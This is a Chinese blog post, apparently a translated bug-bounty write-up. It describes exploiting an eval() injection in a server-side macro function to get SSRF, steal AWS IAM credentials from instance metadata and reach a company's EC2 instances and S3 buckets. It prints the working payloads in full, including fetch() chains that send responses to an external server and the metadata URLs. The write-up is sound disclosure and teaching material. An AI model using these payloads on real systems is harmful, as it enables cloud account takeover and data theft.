正文

看我如何通过nodejs中的SSRF完全控制aws

admin
admin V管理员 /0 评论 /20 阅读
0409
此篇文章发布距今已超过1120天，您需要注意文章的内容或图片是否可用！

这是我在hackerone上一个私人漏洞奖金计划中发现的一个漏洞，发现，利用和写报告足足花了我12个半小时，都不带休息的。通过这个漏洞，我可以获取到AWS的凭证，我可以完全入侵该公司的账号：现在我手里有20个buckets和80个EC2实例。另外，这是我挖洞生涯中最有意思的漏洞，学到了很多东西，所以想在此给大家分享一下。

介绍

刚才说过，这是一个私人奖金项目，所以公司名就不方便透露了，我们就叫它ArticMonkey吧。

为了实现他们的web应用程序，ArticMonkey公司开发了一套自定义的宏语言，就叫做Banana++吧。我不知道这个Banan++这个语言最初是基于什么语言开发的，但是从web应用中，我发现了一个JavaScript版本信息，所以我决定深入挖掘一下。

原始的banan++.js文件已经压缩过了，但文件还是有点大，压缩后2.1M，美化后2.5M，56441行，2546981个字符，崩溃。当然，我没有读完整个代码，只是搜索了一些Banan++特定的一些关键词，在3348行定位到了第一个函数，整个文件大概有135个函数，既然有这么多函数，那我就可以对这些函数进行分析，发挥我的专业技能了。

发现问题

我开始从头看代码，但是大部分函数都是进行数据操作或者是数学运算符，没有什么可疑的或危险的。找了一会儿，我终于发现了一个Union()函数，可能有戏，代码如下：

1.png

仔细看代码，注意到有一个奇怪的eval()函数，是不是很惊喜，我把代码复制到一个本地的HTML文件中以便进行多次测试。

这个函数可以接收无限个参数，不过第三个参数开始才是有用的参数。这个函数是借助第二个参数来比较第一个参数和第三个参数的，然后测试第4个，第5个等等。通常的用法是这样的，Union(1,’<’,3)，如果这些测试中至少有一个为真，那么返回值为true，否则为false。

然而，该函数却没有对参数的类型和值进行过滤和净化，于是我就利用alert()来进行测试，alert()是我最新换的调试器，我发现可以通过不同的方法来触发漏洞利用，如图所示：

2.png

注入点

现在我们有了一个危险的函数，这已经是一个很好的开始了，不过我们真正需要的是用户输入的地方来注入恶意代码。我记得在使用Banan++函数时看到过一些post参数，于是在Burp的历史记录中找了找，请求响应如下：

3.png

4.png

可以看到有一个operation参数，可以进行测试一下。

开始注入

由于我对Banan++一无所知，所以我得先进行一些测试来看看我可以注入何种类型的代码，下面是一些手工模糊测试，

{...REDACTED...,"operation":"'\"><"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}[]
{...REDACTED...,"operation":"0"}[]
{...REDACTED...,"operation":"1"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}[]

通过这些测试，我总结了以下几点：

不能注入任意的JavaScript代码

可以注入Banan++函数

响应似乎只有真假两种，取决于参数operation的真假，这对于验证我注入的代码是否有效非常有帮助。

下面我们继续来对Union()函数进行模糊测试：

{...REDACTED...,"operation":"Union(1,2,3)"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}[]]

测试效果非常完美，如果测试1<3，响应结果就会包含有效的数据(true)，如果测试1>3，响应结果为空(false)。参数必须要用分号来分隔。下面我就要开始尝试一些真正的攻击了。

fetch是新的XMLHttpRequest异步请求

因为请求是对api的一种ajax调用，而且只返回json数据，显然不是一个客户端注入。而且通过前面的报告，我知道ArticMonkey倾向于在服务端使用大量的JavaScript。

不过，这些都不重要，因为我得尝试所有东西，可能无意中就能触发一个错误，暴露了运行着JavaScript代码的系统的一些敏感信息。因为我进行了本地测试，所以我知道如何准确的注入恶意代码。我测试了基础的xss payload和错误格式的JavaScript代码，不过得到的错误跟前面的一样。

然后我尝试发起HTTP请求。

首先进行ajax调用：

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

但是没有什么收获，于是我尝试了HTML注入:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

还是没有任何收获，继续尝试：

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

结果还是一样，没有收获。

有时候，你要进行一些很脑残的测试，你才知道系统设计的有多愚蠢。显然，这里尝试着去渲染HTML代码是有问题的。回到ajax请求，我在这里卡了一段时间，花了很长时间才明白它是如何工作的。

最后我想起来ArticMonkey在前端使用的是ReactJS，后来我才了解到他们在服务器端使用的是nodeJS。于是我Google了一下，如何使用ReactJS执行ajax请求，并最终在官方文档中找到了解决方案，该方案将我引导到fetch()函数，这是执行ajax调用的新标准，而这就是关键之处：

于是我尝试了如下注入：

fetch('https://poc.myserver.com')

执行之后，立刻就在Apache日志里面生成了一行新纪录。

首先要能ping通我的服务器，不过它是一个blind SSRF，我没有收到响应。于是我想着把两个请求串联起来，第二个请求能够发送第一个请求的结果，如下：

x1 = new XMLHttpRequest;x1.open( 'GET','https://...', false );x1.send();r = x1.responseText;
x2 = new XMLHttpRequest;x2.open( 'GET','https://poc.myserver.com/?r='+r, false );x2.send();

接着我再使用fetch()函数的正确语法上又花了不少时间，这还多亏了stackoverflow上的一个问题。

最后我的payload如下，运行得非常顺利：

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

windows上的SSRF

首先，我尝试读取本地文件：

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

不过Apache日志文件中的响应(r参数)却是空的。

由于我发现了与ArticMonkey(也就是articmonkey-xxx)相关的S3 buckets，所以我猜想这家公司的webapp可能也使用了AWS服务器（这个也可以在某些想拥抱的header信息中得到确认：x-cache:Hit from cloudfront）。如此一来，我就迅速的转移注意力到了最常见的云实例的SSRF URL中了。

当我尝试访问实例的元数据时，响应包中正是我想要的结果，这很nice

5.png

对输出结果解码后，返回的是遍历出来的目录

6.png

最终payload

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

因为我是第一次接触AWS元数据，所以我对它一无所知，我花了很长的时间来研究所有的目录和文件，如你所见，最有用的文件是这个http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>，如下所示：

7.png

利用凭证

那时候，我本以为可以到此为止了。不过，对于写poc来说，我想展示这个漏洞的严重性，我想搞到一些非常有价值的东西。所以我尝试使用这些凭证来模拟公司。首先你要知道这些凭证是临时的，有效期很短，大概5分钟左右。不过没关系，5分钟也足够了，我可以更新我自己的凭证，就是复制粘贴而已，我可以搞定的。

我还在Twitter上咨询过关于SSRF和AWS的问题，真的非常感谢大佬的指教。最终在这里找到了解决方案。我所犯的错误就是没有好好阅读官方文档，只是使用了AccessKeyID和SecretAccessKey，但是并没有效果，token也必须要导出。

8.png

使用下列命令来确认我的身份，表明我的身份已经发生了变化：

aws sts get-caller-identity

然后

9.png

左图：经过ArticMonkey配置过的EC2实例列表。可能是他们系统的大部分实例或者是全部。

右图：该公司拥有20个buckets，包括用户的高度敏感的数据，web应用的静态文件，还有，依据buckets名字可能是他们服务器的日志或者备份文件。

这个漏洞的影响可以说是非常致命了。

总结

从这个漏洞中我学到了很多东西：

ReactJS，fetch()函数，AWS元数据。

RTFM！官方文档始终是有用信息的重要来源。

每一步都会产生问题，我不得不大量查资料搜索，尝试不同的事情，也需要竭尽全力，不轻易放弃。

现在我知道我可以从0开始到完全入侵一个系统，这是一个非常不错的个人成就，我对此也感觉到很满意。

所以，当有人告诉你无法完成某些事情时，记住，不要跟这些人浪费口舌，用行动来证明他们是错的。